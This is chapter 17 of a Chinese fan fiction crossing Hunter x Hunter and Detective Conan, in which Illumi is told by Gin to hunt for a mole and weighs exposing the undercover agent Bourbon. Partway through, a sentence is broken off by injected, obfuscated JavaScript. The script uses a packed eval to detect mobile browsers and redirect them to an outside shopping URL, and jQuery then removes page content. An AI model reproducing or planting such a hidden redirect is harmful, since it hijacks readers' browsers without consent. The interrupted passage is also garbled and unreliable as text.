17.第 17 章
作品:《揍敌客的酒厂生存之道》 安全屋里的咖啡比上次更浓了。
伊尔迷端起杯子喝了一口,苦味在舌尖上停留了三秒,然后被一股淡淡的甜味取代。Gin在咖啡里加了糖——不是牛奶,不是奶油,就是糖。他不知道Gin是记住了他的口味,还是在试探他会有什么反应。
“今天的任务是什么?”伊尔迷放下杯子。
Gin坐在对面,手里拿着一份文件,没有急着给他。
“卡尔瓦多斯。”Gin说。
伊尔迷没有说话。
“他拍了所有人的照片,交上来了。你知道他交完之后做了什么?”
“什么?”
“他去找了那位先生。”
伊尔迷的手指在膝盖上轻轻敲了一下。很轻,轻到连他自己都没注意到。
“他说什么?”
“他说组织里有内鬼。说那个人就在核心成员里。说如果不把内鬼找出来,组织就会被毁掉。”
“那位先生怎么说?”
Gin看了他一眼。
“那位先生让他来找我。”
伊尔迷歪了歪头。
“所以,你打算怎么查?”
Gin把文件推过来。
伊尔迷打开文件。第一页是一张名单——核心成员的名字、代号、加入时间、任务记录。他的名字在第三行:黑泽空/Rum/加入时间2月/任务完成率100%。
“这是所有人的资料。”Gin说,“包括你的。”
“你要我查?”
“我要你证明你的清白。”
伊尔迷把文件合上。
“怎么证明?”
“找出真正的内鬼。”
伊尔迷看着Gin。那双绿色的眼睛里有他看不懂的东西:不是怀疑,不是信任,而是一种介于两者之间的灰色地带。
“如果我找不到呢?”
“那就说明你不想找。”
“如果我找到的是你呢?”
Gin的手指在沙发扶手上停住了。
基地里的安静持续了五秒。五秒,对普通人来说很短,对两个杀手来说,足够完成一次完整的攻防推演。
“你是在开玩笑。”Gin说。
“不一定。”伊尔迷一本正经道:“每个人都有可能是内鬼。包括你。”说完,伊尔迷忍住嘴角的笑意,他喜欢这样的恶作剧,像小奇一样,偶尔的破坏让他心生惬意,哪怕是破坏别人的心情以及完美表情。
Gin果然盯着他看了很久。
“你知道你在说什么吗?”
“知道。”伊尔迷继续一本正经道:“我在说,如果你要我证明清白,你就得接受一个事实:在你证明自己清白之前,你也有嫌疑。”
Gin的表情没有变化。但他的眼睛变了——那层看不懂的东西消失了,取而代之的是一种伊尔迷能辨认的情绪。
是欣赏。
很淡。像咖啡里的那点甜味,若有若无。
“你这个人,”Gin说,“真的很不怕死。”
“怕。”伊尔迷假装严肃:“但我更怕被人冤枉。”
Gin站起来,走到窗边。窗外是米花町的夜景:高楼、灯光、车流。他的背影在玻璃上映出来,银发和黑色衬衫形成鲜明的对比。
“卡尔瓦多斯,”Gin说,“你觉得他是内鬼吗?”
“不是。”
Gin转过身来。“为什么?”
“因为他太想找出内鬼了。”伊尔迷说,“内鬼不会这么高调。内鬼会低调,会隐藏,会让别人帮他找。”
“那你觉得谁是内鬼?”
伊尔迷想了想,一脸认真:“我不知道。但如果我是内鬼,我不会让任何人发现。”
Gin走回来,重新坐下。
“你刚才说,如果找不到内鬼,就说明你不想找。如果找到的是我,你就证明了我的清白?”
“嗯。”
“怎么证明?”
“如果你真的是内鬼,你不会让我查。你会阻止我,或者把线索引向别人。”
“所以,如果我不阻止你,就说明我不是内鬼?”
“不一定。”伊尔迷说,“也可能你是个很有耐心的内鬼。”
Gin看着他,嘴角动了一下。
“你这个人,”他说,“真的很麻烦。”
伊尔迷歪了歪头。
“麻烦的意思是?”
“意思是,你让我很难判断。”
“判断什么?”
“判断你是不是在耍我。”
伊尔迷想了想,嘴角的笑意却快要忍不住:“我没有耍你。”
“那你在做什么?”
“在完成你给的任务。”伊尔迷说,“找出内鬼。”
Gin沉默了很长时间。
两个人同时沉默。客厅里很安静,只有墙上时钟的滴答声。
这种沉默一点都不尴尬。对伊尔迷来说,沉默就是沉默,不存在尴尬这个选项。对Gin来说,他似乎也觉得没必要硬找话题。
“那份名单,”Gin说,“你可以带回去。但有一个条件。”
“什么条件?”
“如果发现任何线索,第一时间告诉我。不要自己查。”
“为什么?”
“因为如果内鬼真的存在,他可能就在你身边。你一个人查,太危险。”
伊尔迷看着Gin。
“你在担心我?”
Gin的手指在沙发扶手上敲了一下。
“我在担心任务。”
“哦。”伊尔迷把文件收进包里,站起来。
走到门口的时候,他忽然停下来。
“Gin。”
“嗯?”
“卡尔瓦多斯的照片里,有一张是我在警视厅门口的。那张照片,你打算怎么处理?”
Gin没有立刻回答。
“压下来。”他说。
“为什么?”
“因为没有证据。”
“如果以后有证据了呢?”
Gin看着他。
“那就到时候再说。”
伊尔迷点点头,刚想推门离开,却转过身后,听到了Gin带着危险的声音:“如果是你在欺骗我,你也会付出代价。”
伊尔迷没有停下脚步,离开了安全屋。
走到楼下的时候,他站在路灯下面,从口袋里摸出一颗糖——柠檬糖,酸味在舌尖上炸开。
他想起Gin刚才说的话。
“你让我很难判断。”
他低头看着手里的糖纸,在灯光下闪着银色的光。
他也很难判断。
Gin这几次到底是在试探他,还是在保护他?
他把糖纸揉成一团,扔进路边的垃圾桶。
算了。
不管是什么,他都不能停下来。
回到公寓,小奇正在猫窝里睡觉。伊尔迷换了拖鞋,坐到沙发上,打开那份名单。
核心成员一共十二个人。Gin、Rum、Vermouth、Kir、Chianti、Korn、Calvados、Vodka、Pisco、Tequila、Bourbon、Rye。
Rye已经被划掉了。赤井秀一,叛逃者。
他查他自己,到底有什么好查的,不过换个思路,组织会不会除了他还有内鬼?这样就有趣了。他也好交差,暂时打消Gin的怀疑。
想到这,伊尔迷拿出手机,给赤井发了一条消息:你在组织的时候,有没有内线?
赤井秒回:你问这个干什么?
伊尔迷:Gin让我查内鬼。
赤井:他让你查内鬼???
伊尔迷:嗯。
赤井:他知道你在帮FBI吗?
伊尔迷:不知道。反正也没事,我打算查查有没有另外的。
不过就算查到也不一定会说。伊尔迷默默吐了吐舌头。
赤井:那你打算怎么查?自己查自己?
伊尔迷:还没想好。
赤井沉默了一会儿。
赤井:你小心点。Gin不是好骗的人。你耍他的话...
伊尔迷:我知道。
赤井:如果你需要帮忙——
伊尔迷:不用。
他放下手机,继续看名单。
十二个人。每个人都有可能。
他闭上眼睛,把每个人的脸和资料在脑海里过了一遍。
Vermouth,贝尔摩德。加入时间最长的成员之一,和那位先生关系密切。她不需要做内鬼,因为她知道的太多了。
Kir,基尔。CIA的卧底。不对,基尔已经被FBI策反了——不对,基尔的身份很复杂,连伊尔迷都搞不清楚她到底在帮谁。
Bourbon,波本。公安的卧底。伊尔迷看过FBI的情报,波本是日本公安安插在组织里的卧底。但Gin不知道。
伊尔迷睁开眼睛。
波本。
如果Gin让他查内鬼,他可以把线索指向波本。波
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400085|200284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本确实是卧底,查他没有错。
但如果他把波本供出来,波本就会死。
一个公安的卧底,因为他的告密而死。
伊尔迷靠在沙发上,盯着天花板。
在揍敌客,他不会犹豫。任务是任务,人命是人命,两件事不相关。但现在,他犹豫了。
不是因为良心发现。是因为波本死了,公安会查。公安查了,FBI会受影响。FBI受影响,他的情报费可能被砍。
他想了想,觉得这个理由很合理。
不是良心。是钱。
小奇跳上沙发,趴在他腿上。
他摸了摸小奇的头。
“我不会出卖波本。”他说,“不是因为他是好人。是因为他活着对我更有用。”
小奇叫了一声。
“你说得对。”伊尔迷说,“我变了。”
他闭上眼睛。
以前的他,不会找理由。任务是任务,人是人。现在他会找理由了:找理由不去做某些事,找理由去做某些事。
他想起Gin今天说的那句话。
“你让我很难判断。”
Gin觉得他麻烦。
因为他不是纯粹的黑,也不是纯粹的白。他站在灰色地带里,两边都拿钱,两边都帮忙。
但灰色地带,是最容易被发现的地方。
他睁开眼睛,拿出手机,给佐藤发了一条消息:连环杀人案的调查,进展怎么样?
佐藤秒回:你怎么这么关心这个案子?
伊尔迷:路过的时候看到了。
佐藤:你能不能换个理由?
伊尔迷想了想。
伊尔迷:因为我住的近。
佐藤发了一串省略号。
佐藤:好吧。进展不太顺利。银行的记录被改过,我们找不到原始数据。凶手留下的线索太少了。
伊尔迷:银行的记录是谁改的?
佐藤:不知道。技术科的人说,修改记录的人很专业,没有留下任何痕迹。
伊尔迷看着这条消息,想起Gin让他去银行“清理痕迹”的任务。
他没有清理。
他进去的时候,银行的记录已经被改过了。不是他改的,是另一个人。
那个人是谁?
他给佐藤发了一条消息:银行的监控呢?
佐藤:也被改了。有一段空白,大概两个小时。
伊尔迷:哪两个小时?
佐藤:连环杀人案第二起案发的当晚。晚上十点到十二点。
伊尔迷放下手机,闭上眼睛。
连环杀人案、银行、组织的账户、被改的记录。
所有的线索都指向同一个方向:有人在用连环杀人案掩盖别的事情。而那件事情,和组织有关。
他想起Gin说的那句话:“有人用这件事在做文章。”
如果Gin说的是真的,那就说明:
有人在故意制造连环杀人案,把线索指向银行,让警方去查组织的账户。
那个人,也是真正的内鬼。
伊尔迷睁开眼睛,不露痕迹地笑了笑。
事情有趣起来了。
现在他只需要找出那个人,许多事情就能迎刃而解。
不是为了Gin,不是为了组织。是为了他自己。
因为那个人每杀一个人,线索就会多一条。线索每多一条,警方就会查得更深。警方查得更深,他的身份就更危险。
他拿起手机,给Gin发了一条消息:连环杀人案的事,我需要更多资料。
Gin秒回:什么资料?
伊尔迷:所有受害者的背景。不只是他们的职业和住址。我要知道他们和谁有联系,去过什么地方,做过什么事。
Gin:你要这些干什么?
伊尔迷:找出内鬼。
Gin沉默了一会儿。
Gin:明天给你。
伊尔迷:好。
他放下手机,躺到沙发上。
小奇从他腿上跳下来,跑到猫窝里,缩成一团。
他看了一眼小奇,又看了一眼窗外的月亮。
月光照在地板上,银白色的,像一条河。
他忽然想起今天在安全屋里,Gin看他的最后一个眼神。
那个眼神里没有怀疑,没有信任,只有一种说不清楚的东西。
像是——
他想了想,没想出来是什么。
算了。
他闭上眼睛。
明天还要忙。

